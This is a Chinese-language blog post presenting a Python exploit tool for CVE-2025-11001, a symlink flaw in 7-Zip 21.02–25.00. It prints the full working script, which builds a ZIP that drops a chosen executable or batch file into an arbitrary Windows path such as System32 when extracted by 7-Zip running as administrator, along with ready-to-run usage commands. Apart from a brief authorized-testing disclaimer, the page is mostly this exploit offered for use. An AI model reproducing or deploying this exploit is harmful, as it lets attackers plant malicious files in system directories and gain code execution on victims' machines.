写点什么

7-Zip CVE-2025-11001 漏洞利用工具

作者:qife122
  • 2025-12-26
    福建
  • 本文字数:2466 字

    阅读完需:约 8 分钟

CVE-2025-11001 漏洞利用工具

这是一个针对 CVE-2025-11001 漏洞的 Python 利用工具。该漏洞影响 7-Zip 21.02 至 25.00 版本,允许攻击者通过特制的 ZIP 文件在具有管理员权限的 7-Zip 中实现任意文件写入。

功能特性

  • 自动化漏洞利用:自动生成包含符号链接的特制 ZIP 文件

  • 灵活配置:可自定义目标路径、输出文件名和数据文件

  • 精确控制:支持自定义顶层目录和链接名称

  • 跨平台兼容:基于 Python 开发,可在多平台运行

  • 安全测试:专为安全研究和渗透测试设计

安装指南

系统要求

  • Python 3.6 或更高版本

  • 操作系统:Windows、Linux 或 macOS

  • 无需额外依赖包,使用 Python 标准库

安装步骤

  1. 克隆或下载项目


git clone <repository-url>cd 7zip-exploit-tool
复制代码


  1. 验证 Python 环境


python --version
复制代码


  1. 工具准备就绪无需编译或安装,直接运行 Python 脚本即可。

使用说明

基础使用示例

# 基本用法:创建一个指向桌面的符号链接,并嵌入calc.exe文件python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe
复制代码

命令行参数详解

典型使用场景

  1. 安全测试


# 测试向系统目录写入文件python3 exploit.py -t "C:\Windows\System32" -o test.zip -f test.exe
复制代码


  1. 自定义目录结构


# 使用自定义目录和链接名称python3 exploit.py -t "C:\ProgramData" -o custom.zip -f script.bat --dir-name malware --link-name entry
复制代码

漏洞利用条件

重要注意事项


  • 仅影响 Windows 平台

  • 7-Zip 必须以管理员权限运行

  • 受影响的 7-Zip 版本:21.02 - 25.00

  • 漏洞详情请参阅技术博客

核心代码

主执行脚本 (exploit.py)

import argparseimport osimport timeimport zipfile
def add_dir(z, arcname): """ 向ZIP文件中添加目录条目 参数: z: ZipFile对象 arcname: 归档中的目录路径 """ if not arcname.endswith('/'): arcname += '/' zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 # Unix系统标识 zi.external_attr = (0o040755 << 16) | 0x10 # 目录权限属性 zi.compress_type = zipfile.ZIP_STORED # 不压缩 z.writestr(zi, b'') # 写入空内容作为目录
def add_symlink(z, arcname, target): """ 向ZIP文件中添加符号链接 参数: z: ZipFile对象 arcname: 归档中的符号链接路径 target: 符号链接指向的目标路径 """ zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 # Unix系统标识 zi.external_attr = (0o120777 << 16) # 符号链接权限属性 zi.compress_type = zipfile.ZIP_STORED # 不压缩 z.writestr(zi, target.encode('utf-8')) # 写入目标路径作为链接内容
def add_file_from_disk(z, arcname, src_path): """ 从磁盘读取文件并添加到ZIP 参数: z: ZipFile对象 arcname: 归档中的文件路径 src_path: 源文件的本地路径 """ with open(src_path, 'rb') as f: payload = f.read() # 读取文件内容 zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 # Unix系统标识 zi.external_attr = (0o100644 << 16) # 普通文件权限属性 zi.compress_type = zipfile.ZIP_STORED # 不压缩 z.writestr(zi, payload) # 写入文件内容
def main(): """ 主函数:解析参数并创建特制ZIP文件 """ parser = argparse.ArgumentParser( description="Crafts a zip that exploits CVE-2025-11001." ) parser.add_argument( "--zip-out", "-o", required=True, help="Path to the output ZIP file." ) parser.add_argument( "--symlink-target", "-t", required=True, help="Destination path the symlink points to - specify a \"C:\" path" ) parser.add_argument( "--data-file", "-f", required=True, help="Path to the local file to embed e.g an executable or bat script." ) parser.add_argument( "--dir-name", default="data", help="Top-level directory name inside the ZIP (default: data)." ) parser.add_argument( "--link-name", default="link_in", help="Symlink entry name under the top directory (default: link_in)." ) args = parser.parse_args()
# 构建ZIP中的路径结构 top_dir = args.dir_name.rstrip("/") link_entry = f"{top_dir}/{args.link_name}" embedded_name = os.path.basename(args.data_file) file_entry = f"{link_entry}/{embedded_name}"
# 创建ZIP文件并添加内容 with zipfile.ZipFile(args.zip_out, "w") as z: add_dir(z, top_dir) # 添加顶层目录 add_symlink(z, link_entry, args.symlink_target) # 添加符号链接 add_file_from_disk(z, file_entry, args.data_file) # 添加数据文件
print(f"Wrote {args.zip_out}")
if __name__ == "__main__": main()
复制代码

工具设计解析

该工具通过以下三个核心函数构建特制 ZIP 文件:


  1. add_dir():创建目录条目,设置 Unix 风格的目录权限

  2. add_symlink():创建符号链接,指向用户指定的目标路径

  3. add_file_from_disk():将本地文件嵌入到 ZIP 中


漏洞原理:利用 7-Zip 在处理包含符号链接的 ZIP 文件时的缺陷,当 7-Zip 以管理员权限运行时,会创建符号链接并写入文件到符号链接指向的位置,从而实现任意文件写入。


安全建议:该工具仅用于安全研究和授权测试,使用时请确保遵守相关法律法规和道德准则。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
7-Zip CVE-2025-11001漏洞利用工具_Python_qife122_InfoQ写作社区